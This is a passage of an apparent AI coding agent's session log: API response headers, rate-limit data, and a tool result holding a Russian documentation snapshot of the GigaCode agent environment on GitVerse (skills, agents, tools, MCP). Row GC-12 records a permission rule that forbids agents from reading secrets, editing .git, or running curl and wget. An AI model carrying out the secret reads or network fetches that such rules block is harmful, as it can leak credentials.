\"DYNAMIC\",\n[2026-09-29T07:45:06.535Z] [STDOUT]     \"cf-ray\": \"a4295dc47ef729ad-FRA\",\n[2026-09-29T07:45:06.559Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:06.579Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:06.638Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:06.651Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:06.664Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:05 GMT\",\n[2026-09-29T07:45:06.674Z] [STDOUT]     \"request-id\": \"req_011CfXMjH3PgxwSnTsMAc7t9\",\n[2026-09-29T07:45:06.692Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:06.707Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:06.729Z] [STDOUT]     traceresponse: \"00-c94a5f0ce63add66397751f29ef124ac-4d2e9b9c8c290f4e-01\",\n[2026-09-29T07:45:06.779Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:06.828Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:06.847Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:06.896Z] [STDOUT]   },\n[2026-09-29T07:45:06.911Z] [STDOUT]   durationMs: 837,\n[2026-09-29T07:45:06.915Z] [STDOUT] }\n[2026-09-29T07:45:06.926Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:06.945Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:05 GMT\",\n[2026-09-29T07:45:07.029Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:07.045Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:07.051Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:07.076Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:07.082Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:07.085Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:07.091Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:07.097Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:07.104Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:07.114Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:07.119Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:07.126Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:07.130Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:07.136Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:07.151Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:07.165Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:07.179Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:07.199Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:07.205Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:07.222Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:07.230Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:07.232Z] [STDOUT]   \"request-id\": \"req_011CfXMjH3PgxwSnTsMAc7t9\",\n[2026-09-29T07:45:07.256Z] [STDOUT]   \"traceresponse\": \"00-c94a5f0ce63add66397751f29ef124ac-4d2e9b9c8c290f4e-01\",\n[2026-09-29T07:45:07.269Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:07.287Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:07.293Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:07.307Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:07.332Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:07.354Z] [STDOUT]   \"cf-ray\": \"a4295dc47ef729ad-FRA\",\n[2026-09-29T07:45:07.366Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:07.374Z] [STDOUT] [log_490491] response parsed {\n[2026-09-29T07:45:07.377Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:07.386Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:07.392Z] [STDOUT]   body: X {\n[2026-09-29T07:45:07.396Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:07.402Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:07.407Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:07.413Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:07.418Z] [STDOUT]     },\n[2026-09-29T07:45:07.425Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:07.430Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:07.439Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:07.448Z] [STDOUT]   },\n[2026-09-29T07:45:07.456Z] [STDOUT]   durationMs: 837,\n[2026-09-29T07:45:07.463Z] [STDOUT] }\n[2026-09-29T07:45:07.471Z] [INFO] {\n[2026-09-29T07:45:07.471Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:07.471Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:45:07.471Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:45:07.471Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:45:07.471Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:07.471Z] [INFO]   \"uuid\": \"6f3f33df-0e35-41cd-9bc2-abbd8d5fc7cb\"\n[2026-09-29T07:45:07.471Z] [INFO] }\n[2026-09-29T07:45:07.479Z] [INFO] {\n[2026-09-29T07:45:07.479Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:07.479Z] [INFO]   \"message\": {\n[2026-09-29T07:45:07.479Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:07.479Z] [INFO]     \"content\": [\n[2026-09-29T07:45:07.479Z] [INFO]       {\n[2026-09-29T07:45:07.479Z] [INFO]         \"tool_use_id\": \"toolu_01DXvjL1beywyhMBvb8bEokq\",\n[2026-09-29T07:45:07.479Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:07.479Z] [INFO]         \"content\": \"# \u0421\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f GigaCode \u043d\u0430 GitVerse: \u0441\u043d\u0438\u043c\u043e\u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043d\u0430 2026-09-10\\n\\n> **\u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435.** \u0414\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0441\u043d\u0438\u043c\u043e\u043a **\u0444\u0430\u043a\u0442\u043e\u0432 \u043e \u0441\u0440\u0435\u0434\u0435**, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0434\u0441\u0442\u043e\u0438\u0442\\n> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043d\u0430\u0432\u044b\u043a\u0438 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u0411\u0410. \u0414\u043e \u044d\u0442\u043e\u0433\u043e \u0437\u0430\u043c\u0435\u0440\u0430 \u043c\u043e\u0434\u0443\u043b\u044c\\n> [`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model)\\n> \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u043b, \u0447\u0442\u043e \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 GigaCode \u043d\u0435\u0442 \u0438 \u0447\u0442\u043e \u0444\u043e\u0440\u043c\u0430 `SKILL.md`\\n> \u0432\u044b\u0432\u0435\u0434\u0435\u043d\u0430 **\u043f\u043e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0438** \u0441 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u043e\u0439 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u0430\u0433\u0435\u043d\u0442\u043e\u0432 Claude. \u041f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\\n> issue [#571](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571)\\n> \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438\u0441\u0442\u0438\u043d\u044b; \u0432\u0441\u0435\\n> \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u0435 \u043e\u0431 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0438 **\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e** \u0438\\n> \u0437\u0430\u043c\u0435\u043d\u0435\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c\u0438 \u0444\u0430\u043a\u0442\u0430\u043c\u0438 `GC-1`\u2013`GC-28`.\\n>\\n> **\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 2026-09-10.** \u041f\u043e\\n> [\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043a PR #572](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/572)\\n> \u0441\u043d\u0438\u043c\u043e\u043a \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d \u0444\u0430\u043a\u0442\u0430\u043c\u0438 `GC-25`\u2013`GC-28`: \u043e\u043d\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442, \u0447\u0435\u043c \u0441\u0440\u0435\u0434\u0430\\n> \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u043e\u0431\u044a\u0451\u043c \u043d\u0430\u0432\u044b\u043a\u0430 \u0441\u0432\u0435\u0440\u0445\u0443 \u0438 \u0441\u043d\u0438\u0437\u0443.\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a.** \u0420\u0430\u0437\u0434\u0435\u043b\\n[`gitverse.ru/docs/ai/ai-development`](https://gitverse.ru/docs/ai/ai-development)\\n\u0438 \u0441\u043e\u0441\u0435\u0434\u043d\u0438\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b, \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0432 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 issue #571: `quick-start`,\\n`repository-setup`, `workflow`, `context`, `tools`, `skills`, `agents`, \u0430 \u0442\u0430\u043a\u0436\u0435\\n[`gigacode-on-gitverse`](https://gitverse.ru/docs/ai/gigacode-on-gitverse),\\n[`mcp`](https://gitverse.ru/docs/ai/mcp) \u0438\\n[`mcp/gitverse-mcp-tools`](https://gitverse.ru/docs/ai/mcp/gitverse-mcp-tools).\\n\\n**\u0418\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044c.**\\n[`exp/ba-process-taxonomy-571/fetch-gigacode-docs.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/fetch-gigacode-docs.py),\\n\u0441\u044b\u0440\u043e\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014\\n[`gigacode-docs.json`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/gigacode-docs.json),\\n\u043b\u043e\u0433 \u2014\\n[`fetch-gigacode-docs.log`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/fetch-gigacode-docs.log).\\n\u0421\u043a\u0440\u0438\u043f\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432\u0441\u0435 \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 HTTP-\u043a\u043e\u0434, \u0440\u0430\u0437\u043c\u0435\u0440 \u0438 `sha256`\\n\u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e HTML \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0434\u0432\u0430\u0434\u0446\u0430\u0442\u0438 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043e\u043a,\\n\u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u043e\u0440\u043c\u0430 \u0425\u0430\u0431\u0430. \u041f\u0440\u043e\u0433\u043e\u043d 2026-09-10: **11 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0438\u0437 11**,\\nHTTP 200 \u0443 \u0432\u0441\u0435\u0445, **24 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0438\u0437 24 \u043d\u0430\u0439\u0434\u0435\u043d\u044b**, \u043e\u0448\u0438\u0431\u043e\u043a \u043d\u0435\u0442.\\n\\n## \u0421\u0432\u043e\u0434\u043a\u0430\\n\\n| \u041a\u043e\u0434 | \u0424\u0430\u043a\u0442 | \u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 |\\n| --- | --- | --- |\\n| `GC-1` | \u043d\u0430\u0432\u044b\u043a \u2014 \u043f\u0430\u043f\u043a\u0430 \u0441 \u0444\u0430\u0439\u043b\u043e\u043c `SKILL.md` \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0435 | `skills` |\\n| `GC-2` | \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043b\u0435\u0439 \u0440\u043e\u0432\u043d\u043e \u0434\u0432\u0430: `name` \u0438 `description` | `skills` |\\n| `GC-3` | \u043d\u0430\u0432\u044b\u043a\u0438 \u043b\u0435\u0436\u0430\u0442 \u0432 `.agents/skills/<\u0438\u043c\u044f>/SKILL.md` | `skills` |\\n| `GC-4` | `name` \u043e\u0431\u044f\u0437\u0430\u043d \u0431\u044b\u0442\u044c \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u043c, \u0438\u043d\u0430\u0447\u0435 \u0432\u044b\u0431\u043e\u0440 \u043d\u0430\u0432\u044b\u043a\u0430 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d | `skills` |\\n| `GC-5` | \u0440\u044f\u0434\u043e\u043c \u0441 `SKILL.md` \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b | `skills` |\\n| `GC-6` | \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u0430\u044f: \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0438\u043c\u0435\u043d\u0430 \u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f, \u043f\u043e\u0442\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f | `skills` |\\n| `GC-7` | \u0430\u0433\u0435\u043d\u0442\u044b \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432 `.opencode/agent/*.md` | `agents` |\\n| `GC-8` | `mode`: `primary`, `subagent` \u0438\u043b\u0438 `all` | `agents` |\\n| `GC-9` | `permission` \u2014 \u043f\u0440\u0430\u0432\u0430 \u043f\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c \u0441 \u043a\u0430\u0440\u0442\u043e\u0439 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432 | `agents` |\\n| `GC-10` | `steps` \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u0447\u0438\u0441\u043b\u043e \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 | `agents` |\\n| `GC-11` | \u0430\u0433\u0435\u043d\u0442\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438: \u0441\u0431\u043e\u0440\u043a\u0430, \u0442\u0435\u0441\u0442\u044b, \u043b\u0438\u043d\u0442\u0435\u0440\u044b | `tools` |\\n| `GC-12` | \u043f\u0440\u043e\u0444\u0438\u043b\u0435\u043c \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u0447\u0442\u0435\u043d\u0438\u0435 \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432, \u043f\u0440\u0430\u0432\u043a\u0430 `.git`, `curl`, `wget` | `tools` |\\n| `GC-13` | \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u044e\u0442\u0441\u044f \u043f\u043e Model Context Protocol | `tools` |\\n| `GC-14` | \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0437\u0430\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0439, \u0430 \u043d\u0435 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u043c\u0438 | `workflow` |\\n| `GC-15` | \u043a\u0430\u0436\u0434\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u0444\u0430\u0439\u043b\u043e\u043c \u0438 \u0441\u0442\u0440\u043e\u043a\u043e\u0439 | `workflow` |\\n| `GC-16` | \u0434\u0438\u0430\u043b\u043e\u0433 \u0441\u0436\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u0440\u0438 \u043f\u0440\u0438\u0431\u043b\u0438\u0436\u0435\u043d\u0438\u0438 \u043a \u043f\u0440\u0435\u0434\u0435\u043b\u0443 | `context` |\\n| `GC-17` | \u043f\u043e\u0441\u043b\u0435 \u0441\u0436\u0430\u0442\u0438\u044f \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432\u044b\u0432\u043e\u0434\u044b, \u0430 \u043d\u0435 \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u0430\u044f \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430 | `context` |\\n| `GC-18` | `AGENTS.md` \u0432 \u043a\u043e\u0440\u043d\u0435 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0430\u0433\u0435\u043d\u0442\u0430 | `repository-setup` |\\n| `GC-19` | \u0441\u0440\u0435\u0434\u0430 \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u043d\u0430 \u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0438, \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u043e | `ai-development` |\\n| `GC-20` | \u0432\u0441\u0451, \u0447\u0442\u043e \u043d\u0435 \u0437\u0430\u0434\u0430\u043d\u043e \u0438 \u043d\u0435 \u0441\u043f\u0440\u043e\u0448\u0435\u043d\u043e, \u0430\u0433\u0435\u043d\u0442 \u0434\u043e\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442 | `ai-development` |\\n| `GC-21` | GigaCode-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0441\u043b\u0438\u044f\u043d\u0438\u0435 | `gigacode-on-gitverse` |\\n| `GC-22` | MCP \u0434\u0430\u0451\u0442 \u0447\u0442\u0435\u043d\u0438\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0438 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u0432 (`issue_read`) | `mcp/gitverse-mcp-tools` |\\n| `GC-23` | MCP \u0434\u0430\u0451\u0442 \u0437\u0430\u043f\u0438\u0441\u044c \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f (`add_issue_comment`) | `mcp/gitverse-mcp-tools` |\\n| `GC-24` | MCP \u0434\u0430\u0451\u0442 \u043b\u043e\u0433\u0438 CI/CD-\u0437\u0430\u0434\u0430\u0447 (`get_job_logs`) | `mcp/gitverse-mcp-tools` |\\n| `GC-25` | \u043d\u0430\u0432\u044b\u043a \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d \u043a\u0430\u043a \u00ab\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u0434\u043b\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0449\u0435\u0439\u0441\u044f \u0440\u0430\u0431\u043e\u0442\u044b\u00bb \u2014 \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c, \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u044a\u0451\u043c | `skills` |\\n| `GC-26` | \u043d\u0438\u0436\u043d\u044f\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430: \u00ab\u043a\u043e\u0440\u043e\u0442\u043a\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u00bb \u2014 \u043c\u0435\u0441\u0442\u043e \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0430 `AGENTS.md`, \u0430 \u043d\u0435 \u043d\u0430\u0432\u044b\u043a | `skills` |\\n| `GC-27` | \u043d\u0430\u0432\u044b\u043a \u00ab\u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u0443\u044e \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u0443\u00bb \u2014 \u043c\u043d\u043e\u0433\u043e\u0448\u0430\u0433\u043e\u0432\u043e\u0441\u0442\u044c \u0444\u043e\u0440\u043c\u043e\u0439 \u043d\u0430\u0432\u044b\u043a\u0430 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f | `skills` |\\n| `GC-28` | \u0432\u0435\u0440\u0445\u043d\u044f\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430: \u0442\u043e, \u0447\u0442\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u00ab\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043d\u0430\u0431\u043e\u0440\u0430 \u043f\u0440\u0430\u0432 \u0438 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430\u00bb, \u043e\u0444\u043e\u0440\u043c\u043b\u044f\u0435\u0442\u0441\u044f \u0430\u0433\u0435\u043d\u0442\u043e\u043c | `skills` |\\n\\n## GC-1\u2026GC-6. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430\u0432\u044b\u043a\u0430 \u0437\u0430\u0434\u0430\u043d \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439, \u0430 \u043d\u0435 \u0432\u044b\u0432\u0435\u0434\u0435\u043d \u043f\u043e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0438\\n\\n\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 [\u00ab\u041d\u0430\u0432\u044b\u043a\u0438\u00bb](https://gitverse.ru/docs/ai/ai-development/skills)\\n\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u0443 \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e:\\n\\n> \u041d\u0430\u0432\u044b\u043a \u2014 \u043f\u0430\u043f\u043a\u0430 \u0441 \u0444\u0430\u0439\u043b\u043e\u043c SKILL.md \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0435. \u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u0444\u0430\u0439\u043b\u0430 \u2014 \u0431\u043b\u043e\u043a\\n> \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445, \u0434\u0430\u043b\u044c\u0448\u0435 \u2014 \u0441\u0430\u043c\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f.\\n\\n\u041f\u0440\u0438\u043c\u0435\u0440 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 \u0442\u043e\u0439 \u0436\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0440\u043e\u0432\u043d\u043e \u0434\u0432\u0430 \u043f\u043e\u043b\u044f \u2014 `name` \u0438\\n`description`, \u2014 \u0438 \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0442\u0435\u043a\u0441\u0442\u043e\u043c:\\n\\n> \u041e\u0431\u0430 \u043f\u043e\u043b\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b. name \u2014 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043d\u0430\u0432\u044b\u043a\u0430, description \u2014 \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0435\u0433\u043e\\n> 